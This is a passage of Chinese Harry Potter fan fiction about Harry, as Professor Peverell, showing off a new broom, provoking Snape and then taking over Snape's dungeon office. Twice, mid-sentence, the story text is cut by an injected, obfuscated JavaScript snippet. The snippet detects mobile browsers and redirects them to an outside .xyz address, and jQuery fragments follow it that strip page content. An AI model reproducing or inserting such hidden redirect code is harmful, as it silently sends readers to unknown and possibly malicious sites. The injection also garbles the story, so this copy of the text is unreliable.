“哈利?卡片上写了什么?”泰迪的声音打断了他的思绪。 哈利这才意识到他盯着卡片发呆的时间太长了。学生们围得更近,几个胆大的甚至探过头想看个究竟。 “没什么特别的,”哈利将卡片塞进长袍口袋,“只是一些关于飞行的话。” 但罗恩已经瞄到了那几个字。“‘书写传奇的找球手’!天哪,教授!”红发男孩的语气里充满了兴奋和一丝不解,“除了我们队里的人,还有谁知道您以前是找球手?” 哈利对罗恩使了个眼色,示意他别声张。可已经太晚了——周围的学生都听到了。 “找球手?”拉文克劳桌那边有人疑惑地重复,“佩弗利尔教授是找球手?” “等等,”赫奇帕奇的一个学生突然反应过来,“教授会飞?” 哈利扫了一眼周围好奇等着答案的学生,无奈地叹了口气:“是的,我确实会飞。在学生时代打过几年找球手。” “哈利是最棒的找球手!”泰迪立刻骄傲地接话,“他一年级就破例加入了学校魁地奇队!只是你们都没机会见识他飞得多快!” 安吉利娜不知道什么时候凑了过来:“教授这学期一直在给我们队做战术指导呢。” “什么?”这下连斯莱特林的学生都坐不住了,“格兰芬多偷偷请了佩弗利尔教授当顾问?” “这不公平!”有人抗议。 哈哈利抬手想要平息骚动,但事态已经完全失控。邻近几桌的学生都停止了交谈,纷纷伸长脖子望过来,低语声像潮水一样传开。哈利不用费劲就听到了那些兴奋又压低的议论声—— “佩弗利尔教授以前是找球手?真的假的?” “可我从没见他飞过啊……” “说到这个,斯内普教授最近都不怎么理他了——你们没发现吗?他们在教师席隔得老远!” “真的!好几天都没说话了!” “所以……送扫帚的是新的神秘情人?” “哇,一个比斯内普教授更懂他的情人?知道他喜欢魁地奇?” “肯定是!不然谁送光轮2001啊……飞天扫帚可不便宜!” 各种猜测夹杂着压抑不住的窃笑声,让哈利感觉头都大了。 “教授,”奥利弗·伍德突然从格兰芬多桌站起来,眼中燃烧着疯狂的热情,“您给我们讲了那么多飞行技巧,可我们从来没见您亲自示范过。现在有了新扫帚,能不能让我们开开眼?” 这个提议瞬间点燃了全礼堂的热情。 “对啊!”弗雷德大声附和,“教授总是说''保持重心''、''注意风向'',可我们都想看看您是怎么做的!” “飞一圈吧,教授!”乔治跟着起哄。 很快,整个礼堂都开始拍桌子,口中喊着“飞一圈”、“让我们看看!” 哈利求助似的看向教师席上的同事们,麦格教授挑起眉毛,嘴角微微一翘,像在憋笑。弗立维教授身子前倾,也显得兴趣盎然。斯普劳特教授轻轻点头,带着鼓励的笑。连宾斯教授都飘高了一点,好像也想看个清楚。 哈利意识到自己被逼入了绝境。他握紧了那把崭新的光轮2001,一股久违的冲动在体内苏醒。 “好吧,”他最终妥协,“下午最后一节课后,魁地奇球场见。我会飞一圈,就这样。” 学生们欢呼起来。 ———— 下午的课一结束,哈利就被一群兴奋的学生簇拥着走向魁地奇球场。泰迪是最高兴的一个,他几乎是蹦着走的,大声向每一个遇到的人宣布:“我教父收到了一把光轮2001!他飞得可棒了!” 哈利跨上那把崭新的光轮2001,手掌摸着凉滑的木头。轻轻一蹬,他冲上天空,下面传来一片惊叹。扫帚的性能确实不错,比他的第一把扫帚光轮2000更加流畅稳定,虽然速度和灵敏度远不及他心爱的火弩箭和白恒星,但足以让他找回久违的感觉。 他先是绕着球场飞了几圈,适应着新扫帚的操控感,然后便忍不住开始加速。俯冲、急转、拉升……那些早已融入骨血的技巧自然而然地施展出来。他在空中划出一道道流畅而迅捷的轨迹,宛如与扫帚融为一体。凛冽的风灌满他的长袍,带着青草和泥土的气息扑面而来,耳边只剩下扫帚破开气流的尖啸声。地面上的城堡和人群迅速缩小,变成一团模糊的颜色,那些压着的烦心事和秘密好像也随之远去。 这一刻,他只是哈利,一个热爱飞行的找球手。 地上的学生们疯了,从开始的好奇变成彻底的崇拜和狂热。“天哪!他飞得太棒了!”“难怪有人送他扫帚!”“送礼物的人肯定早就知道他这么厉害!”……各种议论声此起彼伏,将“神秘爱慕者”的形象推向了新的高度——一个不仅有钱、有品位,而且还独具慧眼、深知佩弗利尔教授隐藏实力的“真爱”。 哈利正享受着这片刻的自由,想再来个高难度回旋,眼角的余光瞥见了场地边缘两个熟悉的身影。 是麦格教授和……斯内普。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156430|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们站在球场边缘,正在低声讨论着什么。斯内普还是那副冷冰冰的样子,目光似乎有意无意地扫过空中,却又不像是在看他。过去一周多那堵看不见的墙又冒出来,哈利憋了好久的闷气突然有了出口。他攥紧扫帚柄,一个大胆的念头瞬间成形——既然斯内普躲着他,那他就把自己强塞进斯内普的视线里。 ———— 斯内普这一天从早上起就糟透了。 从佩弗利尔那傻乎乎的笑和更傻乎乎的顶嘴把他搅得心烦开始,到忍受了一整天那些吵闹的矮人和粉红色的恶心装饰,再到下午在他的魔药课上,听着学生叽叽喳喳地讨论佩弗利尔收到的那份可笑的礼物,他本就不多的耐心早已消耗殆尽。 现在,他只是想和米勒娃尽快确认完场地状况,讨论完重新开始的魁地奇赛程,然后赶紧回到他安静的地窖,远离一切惹人厌烦的噪音。 但显然,这个情人节没有一件事是如他意的——他们撞上了一场即兴表演。 他们刚走到魁地奇球场边缘,就看到了哈利手握着那把引起全校轰动的光轮2001,被一大圈头脑简单的学生围在了中间。 又是佩弗利尔。又是人群的焦点。斯内普感觉太阳穴隐隐作痛。 “看来我们来得正是时候,西弗勒斯,”麦格教授看向场地中央,“我很好奇哈利的飞行技巧。” 斯内普绷着脸,没有回应。他本该立刻转身离开——过去一周他都成功避开了与佩弗利尔的一切非必要接触。但他的双脚仿佛扎了根,视线不受控制地停留在那个黑发青年身上。 他看到佩弗利尔跨上扫帚,轻轻一蹬就飞起来,动作流畅,带着一种与生俱来的优雅。他不是骑在扫帚上,而是成为了扫帚的一部分,如鱼在水中呼吸般自然。他在空中画出一道干净的弧线,接着猛然俯冲,风吹乱他的黑发,长袍在身后猎猎作响。 斯内普本能地想移开视线。他记得詹姆斯·波特在魁地奇球场上那副不可一世、张扬炫耀的模样,每一次都让他从心底里感到厌恶。他强迫自己看向别处,看向空无一人的看台,看向远处禁林的边缘…… 可最终,他的目光还是不由自主地跟随着空中那个身影。有什么不一样的东西在那飞行中流露出来,与他记忆中那个让他厌恶的詹姆斯·波特截然不同。 “哈利的飞行技巧相当惊人,不是吗,西弗勒斯?”旁边传来麦格教授带着些许惊讶的评论,“我竟不知他有如此天赋。” 斯内普喉咙里发出一声意义不明的含糊回应,目光依然没有离开空中那个身影。他当然知道佩弗利尔会飞,毕竟他来自“那个”未来,是“那个”哈利·波特。但他从未想过……会是这样。 不得不承认,佩弗利尔——不,是哈利·波特——飞得和他父亲完全不同。没有那种惹人厌烦的炫耀感。他的动作精准、流畅,充满了力量和近乎本能的自然。速度极快,转向毫不拖泥带水。 斯内普发现自己竟然看得有些出神。直到空中的人突然改变方向,像一颗黑色的游走球一样朝他直冲下来。 地面上尖叫声四起——学生们扯着嗓子喊,以为哈利失控了,或者要撞上去了。 那一瞬间的惊愕让他僵在原地。他甚至能感觉到自己的心脏猛地收缩了一下,只是看着那个黑点直逼而来,以惊人的速度放大。那双绿眼睛亮得惊人,眼睛里燃烧着充满挑衅的火焰。他身形一顿,黑色的眼睛因震惊而微微睁大,瞳孔里倒映着那个急速坠落的身影。 就在扫帚距离地面只有几英尺,近得能扫到他长袍下摆时,哈利猛地拉起了扫帚。光轮2001低低嗡了一声,稳稳停在空中,柄端离他的鼻子不过几寸。强风掀起斯内普额前的黑发,带来青草和天空的气息。 “佩弗利尔教授!”麦格教授的声音尖锐地响起。看得出来,她被这一下吓得不轻,甚至紧紧抓住了斯内普的手臂,“你在做什么?这太危险了!” 斯内普这才感觉到麦格抓着他手臂的力道。他没有理会,依然盯着悬停在面前的佩弗利尔脸上。对方微微歪头,嘴角勾起一抹不怎么友善的笑。 “只是试试扫帚的性能,斯内普教授。”佩弗利尔故意放慢了语速,声音不大却清楚钻进他耳朵,“你觉得怎么样?控制得还算精准吧?” 那语气里掩藏不住的挑衅几乎让斯内普的牙齿咬紧。他的黑眼睛里飞快地闪过一丝怒意,几乎瞬间就被他强行压了下去——佩弗利尔是故意的。他知道自己在避着他,所以用这种幼稚又鲁莽的方式来报复,来逼迫自己不得不面对他。可偏偏,当对方真的用这种方式闯入他的视线时,他发现自己竟然……无法移开目光。 斯内普的脸已经恢复了惯常的冷漠,只是嘴唇抿得更紧了。他盯着那双毫不退让、甚至带着火气的绿眼睛,知道对方在等什么,他才不会满足他那点可怜的挑衅欲。 佩弗利尔等了几秒,见斯内普依旧毫无回应,绿眼睛眯起来,嘴角微微向下一撇。他转向麦格教授,语气诚恳了许多:“抱歉,米勒娃,吓到你了。只是想打个招呼。”说完,他不再停留,手腕用力,将扫帚头向上一带,再次冲天而起,在空中做了个漂亮的翻滚,然后才缓缓降落在场地中央。 学生们爆发出更热烈的欢呼,他们只当这是教授精彩飞行表演的一部分。泰迪第一个冲上前,扑到他教父身上,自豪得不行。 斯内普看着佩弗利尔降落在人群中,看着他脸上因兴奋和寒风而泛红,头发乱得一团糟,眼睛明亮得惊人。他笑着——敞开的、真切的笑,是斯内普几乎没见过的模样。 那笑容太过耀眼,映衬着那把崭新的光轮2001,斯内普脑子里立刻蹦出那些关于“神秘爱慕者”的荒谬流言。再加上这出色的飞行技巧……送礼的人是谁,答案几乎是昭然若揭。 冈特老宅事件后,邓布利多曾特意提过,布莱克与那只家养小精灵一样,受“记忆碎片”影响,对佩弗利尔生出异乎寻常的保护欲与亲近感。所以,除了那个被记忆迷了心窍、满脑子教父情结的家伙,还能有谁? 斯内普在心底冷笑一声。也就布莱克这蠢货,才会挑情人节这么个日子,送一把贵得离谱的扫帚——大概是佩弗利尔养伤时随口提了句飞行的闲话,就点燃了他那颗急于扮演好教父的可笑心思。至于佩弗利尔?恐怕还傻乎乎地猜着送礼者的身份,完全没察觉布莱克的异常亲近从何而来。真可笑。 一想到布莱克可能正为这礼物得意得尾巴都翘起来了,而佩弗利尔又可能因为这把破扫帚更加亲近他……斯内普胸口就堵得慌,呼吸都有些不畅起来。他下意识地攥紧了拳头。学生们投向佩弗利尔的那些崇拜目光,还有人群里飘来关于“神秘爱慕者”的议论,无一不像尖锐的噪音,刺得他神经突突直跳。 他才懒得去点醒佩弗利尔。让他们沉浸在那套幼稚肤浅、自我感动的亲情游戏中去吧。 “米勒娃,”他生硬地开口,打断了似乎还想说什么的麦格教授,“我还有事,失陪。” 他不再理会人群中的那个身影,霍地转过身,黑袍甩出一道冷飕飕的弧线,脚步又快又重,径直朝着城堡方向走去。 然而,就在转身的最后一刻,他眼角的余光还是不由自主地捕捉到了那个身影——佩弗利尔刚从生死边缘回来,满身秘密和危险,此刻却被学生围着,脸上挂着好久没见的轻松笑意。 这画面毫无预兆地撞进斯内普心底某个极其隐秘的角落。连日来紧绷的神经——对这个混蛋的担忧,启动那个该死标记所带来的风险,还有卧底任务本身的重压——竟在那一瞬间不受控制地松弛了下来,连他自己都没有反应过来。 于是,在斯内普那副冷硬面具之下,惯常严苛的黑眸深处,竟褪去了几分锐利,有什么东西变得柔和了。但仅仅一刹那,他便像是恼怒自己这片刻的失神,脸上迅速覆上往常的冰冷与不耐,仿佛刚才的一切只是错觉。他步伐没有丝毫迟疑,身影很快消失在场地边缘。 93. 被占据的地窖 周末清晨,西弗勒斯·斯内普准时推开他私人办公室的石门。熟悉的气息瞬间包裹住他——干燥药草的微苦,陈旧羊皮纸的尘味,以及魔药溶剂特有的刺鼻气味。他在脑中已排列好今日的安排:批改那堆令人生厌的六年级魔药论文,推演改良版狼毒药剂的关键稳定阶段,再为庞弗雷夫人补充五瓶生骨药剂——以应付格兰芬多那些没完没了的“意外”。这里是他的领域,一个在他严密掌控下井然有序的世界。 然而今天,这份熟悉的平衡被打破了。 除了他习惯的那几种气味,空气里竟然还飘着一股甜腻香气——佛手柑?伯爵茶?这气味如同不速之客,强势地在地窖的空气中占据一席之地。 斯内普眉头拧紧,目光扫过房间——然后整个人冻结在了原地。 哈·利·波·特——!那个佩弗利尔! 他穿着一身皱巴巴的便服,头发乱得像炸过,正大模大样地坐在他的高背扶手椅里,面前的红木办公桌被黑魔法防御术课的羊皮纸作业堆满了。桌子一角,一个印有黑色大狗图案的马克杯正冒着热气,散发出令人不悦的茶香。 哈利抬起头,脸上带着未散的倦意,似乎完全没察觉斯内普周身骤降的温度。他的嘴角甚至挂着一抹轻松的笑意——在斯内普看来,简直是刻意的挑衅。 “早上好,西弗勒斯!难得的好天气,虽然地窖里看不出来。我泡了点伯爵茶,提神醒脑。你要来一杯吗?还是习惯喝咖啡?”他语气轻快得像在自家客厅。 波特,斯内普在心里恶狠狠地念道。 斯内普额角的血管跳了一下,眉间一阵抽痛。他强迫自己维持表面的平静,压下内心翻滚的怒意。 他想起半年前,这家伙也是这样擅闯他蜘蛛尾巷家中的实验室,结果引发爆炸,毁了他珍藏的龙肝和月痴兽粪便。那时他气得发了吼叫信,但更多的是对财产损失和典型的波特式灾难的恼火。可现在,感觉完全不同。 在经历了冥想回廊那个该死的秘密、冈特老宅的惊心动魄、情人节那嚣张的飞行表演后,看着哈利·波特这个人,肆无忌惮地闯入他最私密的地盘,用那个印着黑狗的杯子污染他的空气,用那堆羊皮纸堆满他的桌面……每个举动都在挑战他的神经,将他试图维系的秩序与距离感,一点点击碎。 自从情人节那天起,斯内普决定不再刻意躲避,毕竟那只会让自己显得蠢兮兮的——这小子就跟甩不掉的鼻涕虫似的到处冒出来。这几天简直是一场噩梦的延续—— 他在礼堂里挤过来,走廊拐角撞上来,连教工休息室那块难得清净的角落都被他占了。那双烦人的绿眼睛简直无处不在,每次“碰巧”遇见,都像是在斯内普紧绷的神经上不轻不重地拨弄一下。 故意的。斯内普面无表情地瞪着眼前的人。他当然看得出这是哈利存心的,布置出一个个拙劣不堪的陷阱让他跳。 “佩弗利尔!”斯内普咬牙挤出这名字,每个字都冷得掉冰碴,“需要我用驱逐咒来提醒你,这里是谁的办公室吗?” 哈利眨了眨眼,脸上挂着那副恰到好处的无辜样,还带点疲倦,仿佛真的为眼前的烂摊子所困扰。 “呃,说来话长,西弗勒斯。”他叹了口气,“昨晚西比非要在我的办公室,用我的一个旧马克杯熬制什么新配方。结果——你知道的,我看到它加了鼓膜草汁液,也许时机不对,或者搅拌太慢?总之,”他做了个小小的爆炸手势,“‘嘭’!幸好没伤到它自己,但我的桌椅地面,全被一种黏糊糊、滋滋冒泡的东西毁了。”说到这里,哈利皱皱鼻子,“那味儿跟巨怪的臭袜子拌死蟾蜍差不多。弗立维教授早上来看过,说那东西有轻微腐蚀性,清理和修复至少要一整天。” 鼓膜草汁液?用马克杯熬魔药能炸掉整个办公室?一个简单的清洁咒和修复咒就能解决的问题,需要整整一天?斯内普心底冷笑。哈利波特编造借口的水平和他父亲当年一样拙劣。 “啊,真是令人同情的不幸事故。”他语带讥讽,毫不掩饰其中的怀疑,“听起来,倒更像某位不负责任的主人放任魔法造物进行危险实验的后果。不知为何,佩弗利尔教授似乎对我的地窖格外青睐,哪怕霍格沃兹还有许多其他安静的去处。麦格教授的办公室,或许?” “米勒娃和波莫纳一早就带着她们各自学院的种子选手去霍格莫德参加‘魔法植物培育交流会’了,你知道的,为学院杯加分,春季传统项目。我总不能去打扰她们。”哈利摊开手,表情无奈,理由充分。 “教工休息室。我想那里足够宽敞。”斯内普冷冷地提出另一个显而易见的选择。 哈利夸张地皱起了鼻子,“哦得了吧,洛哈特昨天才在公告栏贴了通知,说会在那儿举办他的新书签名会,还‘热情邀请’大家穿上符合书中角色的服装。想象一下那场面……我宁愿待在这里闻龙粪味,如果你这儿有的话。” 斯内普暗自衡量了一下,将这个不速之客直接扔出去所耗费的精力,以及可能引发的后续麻烦。他阴郁的目光扫过哈利那双平静的绿眼睛,最后落在他堆积如山的作业上。 哈利却语气一转,放软了声音,绿眼睛直勾勾盯着他,“我连图书馆都试过了,但平斯夫人说我带的作业太多,占用了公共空间,而且皮皮鬼好像特别喜欢追着我扔墨水弹。我必须在今天批改完这些。”他身子往前一倾,声音压低,“西弗勒斯,我真的没办法了。你的地窖是整个城堡最安全的地方。总不能让泰迪下午来找我时,看到我坐在门外冰冷的石板地上批作业吧?他会担心我的。” 斯内普盯着那双看似真诚的绿眼睛,试图穿透那层伪装,可里面只映出他自己冷硬的面孔。他的牙关咬紧了。 这个借口,双方都心知肚明它有多拙劣,却又该死的管用。他迅速移开视线,仿佛再多看一秒,那强撑的镇定就会出现裂痕。他厌恶这种被步步紧逼的感觉,这种对局面的失控感。 斯内普反手将厚重的石门用力带上,发出一声足以替代所有未出口怒骂的巨响。他迈开步子,黑色长袍像愤怒的翅膀一样扫过空气,径直走向房间另一端的实验台,用整个后背对着那张被侵占的桌子。 他没拒绝。 —————— 斯内普点燃坩埚下的火焰,小心调整着热度。这项精细工作需要绝对的专注——改良版狼毒药剂在这个阶段尤为不稳定。他将注意力完全集中在切割月光草根茎的细微动作上,试图在工作中找回那份被打扰的平静。 刀刚切了两下,哈利的声音就从背后冒出来。他端着那只狗头马克杯,悄无声息地晃了过来——斯内普眼角瞥见他把杯子往那个从没用过的隔热垫上一搁,动作熟稔得像是地窖的主人。 “这就是改良版狼毒药剂?”哈利盯着坩埚,声音里透着好奇,“颜色真特别。进行到哪一步了?泰迪一直很期待。” 又是泰迪。斯内普切割月光草的手停顿了一瞬,随即恢复了之前的节奏。他没抬头,声音平直地说道,“佩弗利尔教授似乎对资助这项研究表现出了非同寻常的热情?”他刻意加重了“资助”二字,“很好,账单会由猫头鹰送去——哦,我忘了,你暂时没有办公室。” “钱不是问题,西弗勒斯。”哈利从喉咙里发出一声轻笑,那笑声钻进斯内普的耳朵,让他皱了皱眉,“关键是效果。看你这么投入,我猜你一定很有把握?毕竟……是为了泰迪,他天天掰手指头数日子呢。” 为了泰迪。斯内普握着小刀的手指收紧了些。他没有回应。地窖里再次安静下来,只有坩埚里液体轻微的沸腾声和刀刃划过木砧板的细微声响。 哈利似乎意识到不会得到回应,终于不再发问,回到了办公桌那儿。斯内普听到身后羊皮纸翻动声停了,接着是椅子被推开的轻微动静,然后是脚步声——没有走向门口,而是走向了他工作台这边的书架。他眼角的余光瞥见哈利弯下腰,身影消失在低矮的书架后,似乎在翻找什么。 那里只塞了一些杂乱的手稿和冷门笔记,没什么值得关注的东西。斯内普手上切割药草的动作没有停,但注意力却难免被那窸窸窣窣的声音分去一丝。 突然,一声闷响——像是重物被拖出的声音。那声音让斯内普下意识瞥了一眼,正好看到哈利抱起一本厚重的黑皮书,晃晃悠悠地站直了身体。他赶紧扭回头盯着坩埚,准备滴入下一剂材料的精华——一股力量撞上了他的手臂,让他握着滴管的手指猛地一紧,差点失手。 斯内普的动作凝滞了。他先是飞快扫了一眼坩埚,确认那滴珍贵的药剂没有滴歪,才缓缓转过脸,目光冷厉地望向正抱着那本大部头、脸上带着慌乱神色的始作俑者。 “佩弗利尔,”他开口,声音里压抑着被打断实验和肢体接触的双重不悦,“管好你的四肢。如果连拿本书都碍手碍脚,那就离我的工作台远点——至少五英尺。” “噢!抱歉,西弗勒斯!”哈利抱着那本厚重的书,看起来像是对斯内普的反应感到意外,脸上有点惊讶又有点不好意思,往后退了半步,“没留意你站得这么近,这书比想象中沉,差点脱手。”他稍微调整了一下抱书的姿势,站直了身体。 斯内普想说些更尖刻的话,一阵迟疑的敲门声打断了屋里紧绷的气氛。 “进来。” 一个斯莱特林四年级学生推开们,探头探脑地走了进来,手里紧攥着一张羊皮纸。当他看到佩弗利尔教授也站在斯内普教授的私人地盘——而且姿态颇为随意时,明显愣了一下,眼珠子瞪得溜圆。可他还没张嘴,两位教授之间的冷气就把他吓得脑袋一缩,结结巴巴地问了一个“解毒剂”配制时,颠茄精华滴加时机的问题。 斯内普锐利的目光落在那个学生身上,言简意赅地指出了三个致命错误和两个操作隐患。一顿批评说得学生的肩膀越缩越低,像是恨不得能把自己融入地面。 这时,哈利却插话进来,声音温和得像没事发生:“颠茄精华的滴加时机确实很关键。西弗勒斯,上次我们讨论过温度对药效的关键影响吧?也许可以提醒这位同学注意一下坩埚的温度控制?” 斯内普的脸色阴沉下来。他狠狠瞪了哈利一眼——对方回以一个无辜的眼神——但碍于那吓得要哭的学生,他无法直接驳斥哈利看似专业的“补充”,只能从齿缝间挤出几个字:“……温度因素,确实需要考虑。还有别的问题吗?没有就出去。”随即他不耐烦地挥了下手,示意那个学生赶紧滚蛋,别再留在这里碍眼。 ———— 哈利靠在椅背上,长长吐出一口气。那堆能让任何巫师都头痛欲裂的五年级论文终于批改完毕,但肩颈的酸痛提醒他已在这地窖里坐了太久。他转了转僵硬的脖子,颈椎发出轻微的嘎吱声。 地窖的气味在他鼻腔里沉淀。除了眼前羊皮纸和墨水散发的气味,更深处,属于斯内普魔药的味道丝丝缕缕地飘过来——硫磺的刺鼻,植物根茎的土腥味,还有隐约的干药草苦香,固执地盘踞在空气里。这些味道混杂在一起,并不好闻,却反而能让人安下心来。 可除了这个,没什么是令人高兴的。 斯内普不再刻意避开他,人是能找到了,甚至像今天这样没法甩开他——想到斯内普那张不情不愿却又无法拒绝的臭脸,哈利心里闪过一丝报复性的满足感。 但这比躲着更让人火大。斯内普不再躲开他,却筑起了更难攻破的堡垒。那双黑眼睛不再闪躲,而是冷得像地窖的石墙,每个回应都公事公办,每句话都精准地保持着距离,仿佛他们之间从未有过快两年的相处和在那些危险任务中建立的信任。 那个斯内普到哪去了?那个会在他提出冒险计划时想要陪着一起的人,那个会在他出发前塞上满满一行李箱药剂的人——就连那个会用刻薄话语掩饰关心的斯内普都比现在这个冷冰冰的堡垒要好。 哈利烦躁地揉了揉太阳穴。这几晚断断续续的噩梦让他没睡好,头一直钝钝地痛着。或许是因为这个原因,他的情绪也格外敏感。他无法理解为什么自己会这么在意斯内普的态度,为什么那份冷漠比彻底的敌意还要伤人。更让他恼火的是,斯内普似乎不受这些影响——他站在那里,专注地调配着药剂,一丝不苟地摆弄着他的药材,仿佛之前所有的不快——他的躲避,哈利的试探——都只是不值一提的小插曲。 凭什么他能这么平静? 哈利咬了咬牙,硬是压下心头那股无名火。他甚至有种冲动,想冲过去揪住斯内普的袍子领口问个明白,或者干脆灌他一瓶吐真剂,挖出他脑子里的秘密。 这个念头荒谬得让他自己都打了个寒噤。他强迫自己低头去看刚翻出的那本书。可那种乱糟糟的感觉像黏在皮肤上的蛛网,让他坐立不安,目光还是不受控制地飘向房间另一端的身影。 斯内普背对着他,站在满是瓶瓶罐罐的实验台前,微微俯身,用一根泛着银光的羽毛,将一小撮闪亮的黑色粉末扫入正在文火加热的铂金坩埚中。他的动作专注而沉稳,带着近乎虔诚的仪式感。烛光勾勒出他黑袍下瘦削挺拔的轮廓,映照着那双工作时异常稳定的手。哈利发现自己在研究他握着那根羽毛的手——手指修长,骨节清晰,指甲修剪得一丝不苟。那双手,既能做出致命的毒药,也能做出救命的魔药,他有些走神地想。 该死的,又来了。 哈利猛地扭过头,手插进乱头发里狠狠抓了两下,心跳莫名地加快,脸颊也有些发烫。为了摆脱这莫名的烦躁,也为了打破这容易让人胡思乱想的沉默,哈利清了清嗓子,站起身,朝实验台走了几步,记着那“五英尺”的警告,挑了个能让他们回到共同战线上的话题。 “西弗勒斯,”哈利开口,“伏地魔一直没召唤你?” “不要直呼那个名字,佩弗利尔。”斯内普头都没有回。 哈利直接无视了他的要求,“你不觉得奇怪吗?伏地魔……他最近是不是太平静了点?按理说,冈特老宅之后他应该有所行动才对。” “平静?”斯内普语气冷淡,“毒蛇在发起致命一击前,通常也会保持异常的静默,佩弗利尔。” “我知道。”哈利的声音低了下去,胸口像是有什么东西在往下沉,“但这感觉不对。卢修斯现在那个样子……我不信他会不当回事。可我们找不到他,猜不到他想干什么……”他顿了顿,话语里不自觉地带上了一丝急切,“这种感觉糟透了。邓布利多说最坏的打算就是把挂坠盒给他……可万一他根本没按我们想的来呢?” 斯内普终于放下手中的工具,转过了身。他靠在实验台上,双臂环抱在胸前,那双黑眼睛审视着哈利脸上无法掩饰的焦虑。他嘴角没了讥讽,反而显得异常凝重。 哈利没停下,“我原以为自己会有些优势——我从未来回来,经历过最终大战,知道他最大的秘密。重来一次,我不该这么害怕。可现在……事情完全乱了套,我控制不了局面。如果是因为我搞砸了才让他变得这么捉摸不透呢?如果我让情况变得更糟了呢?” “看来你终于开始动动脑子了,佩弗利尔。”斯内普缓缓开口,“在你以为自己拿着‘未来’的地图时,棋盘早就变了。从他选择修复灵魂开始,你就该知道,你记忆里的那条路,已经没了。” 他向前逼近一步,声音陡然严厉,“收起你那套‘我经历过’的自大!过去的经验现在可能就是个陷阱,佩弗利尔。黑魔王在等着我们犯错,尤其是你!冈特老宅的教训还不够吗?下一次,你要是再凭着你那些过时的记忆乱来,没人能把你从坟墓里拖出来。现在我们能做的,就是等待。” 哈利沉默了,斯内普的话砸得他哑口无言,脸上感到一阵燥热,羞愧和挫败感沉甸甸地压上来。斯内普说得对,他那点可怜的“先知”优势,在现实的变数面前不值一提,甚至可能把他自己和在乎的人都拖入险境。 然而,在那严厉的斥责下,在那近乎刻薄的警告背后,他却捕捉到了些许不同的东西……是一丝关心?这念头转瞬即逝,与眼前的一切显得格格不入,让他一时间有些难以置信。 地窖里的气氛因为这短暂的沉默而变得格外沉重,压得人有些喘不过气。就在这时,一阵轻快的敲门声突兀地响起,敲碎了凝固的空气。 哈利几乎是立刻松了口气,清了清嗓子,努力让声音听起来正常些:“请进!” 门被轻轻推开,泰迪探进一个小脑袋。一瞧见哈利和斯内普都在,他脸上立刻绽开一个大大的笑容,然后蹦跳着跑了进来。 “哈利!西弗!”泰迪扑到哈利身边,仰着脸,声音里满是雀跃,“你们今天没吵架吧?太好了!” 哈利努力将刚才的不安推到一边,脸上挤出一个微笑,弯腰帮男孩理了理凌乱的袍子。 “没吵,小家伙。魁地奇训练怎么样?看你满头大汗的。” “伍德简直是暴君!他让我们绕着球场飞了一百圈!”泰迪立刻被点燃了话匣子,小脸兴奋得通红。 西比从他肩膀上探出头,懒洋洋地插嘴,“一百圈?我在你那破扫帚上差点吐了,泰迪,你是想训练还是想给我找块坟地?”它翻了个白眼,轻巧地跳下来,径直跑向角落里那些瓶瓶罐罐,自顾自地翻找起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156431|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泰迪早习惯了它的毒舌,但被这么一打岔,脸上的兴奋劲稍微褪了些,转而变得紧张起来,“不过我感觉越来越好了。只是……明天!格兰芬多对斯莱特林!这是我的第一场正式比赛!万一我没看到金色飞贼怎么办?或者被游走球砸下来怎么办?我会不会给格兰芬多丢脸啊……”他越说越小声,求助地看向哈利,又忍不住偷偷瞟了一眼面无表情的斯内普。 “嘿,看着我,泰迪。”哈利把泰迪拉到怀里,揉了揉那头正因紧张而变成浅绿的头发,“你是最棒的,我一直都这么说。你有别人没有的天赋,而且你非常非常努力。哈利放缓了语气,试图传递出最大的鼓励,“明天上场,忘掉输赢,忘掉别人的看法,就想着飞行,想着追逐那个金色的小东西,相信你的直觉!我会为你骄傲的,不管结果如何!” 泰迪郑重地点了点头,忽然想起什么,眼睛亮晶晶地看着哈利,“对了!哈利!李·乔丹到处在宣传!他说他费了好大劲才说服你,特别邀请你明天去做比赛解说!这是真的吗?天哪!那岂不是全场都能听到你的声音?你会一直看着我比赛吗?” “千真万确。”哈利笑着确认,“我会坐在视野最好的地方,专业地分析场上局势,并且确保不会错过我们格兰芬多找球手的任何一个高光时刻。” “哦?真是令人‘期待’。”斯内普冰冷嘲弄的声音响了起来,“佩弗利尔教授大概是准备将你那套充满格兰芬多式自我感动和主观偏见的理论,通过魔法扩音,强行灌输给每一个不幸在场的耳朵吧?但愿麦格教授提前准备好了耳塞。” 哈利挑起一边眉毛,回以一个毫不在意的微笑。这种与斯内普针锋相对的熟悉感让他心中的阴霾散去了些。“这么说来,西弗勒斯,你这位‘权威人士’不打算给我们的王牌找球手一些建议,或者……嗯……鼓励吗?” 斯内普从鼻子里哼了一声,目光下意识地瞟向办公室角落里那个擦得锃亮的奖杯陈列架——哈利注意到那里摆放着斯莱特林赢得的魁地奇杯和学院杯。 “卢平,”斯内普转回视线,看着泰迪,干巴巴地说,“以你的飞行天赋,在格兰芬多队里大概是首屈一指。但魁地奇是团队运动,更重要的是——”他顿了顿,目光掠过哈利,最终还是落回泰迪身上,用一种近乎陈述事实的笃定语气说,“——你的对手是斯莱特林。他们已经连续六年捧起了魁地奇杯,实力远超其他学院。所以,即使输了,也不必过于……自责。” 哈利立刻扬起眉毛,毫不掩饰自己的异议:“哦?我不这么认为,西弗勒斯。今年的格兰芬多很有潜力,我认为他们完全有机会赢。” 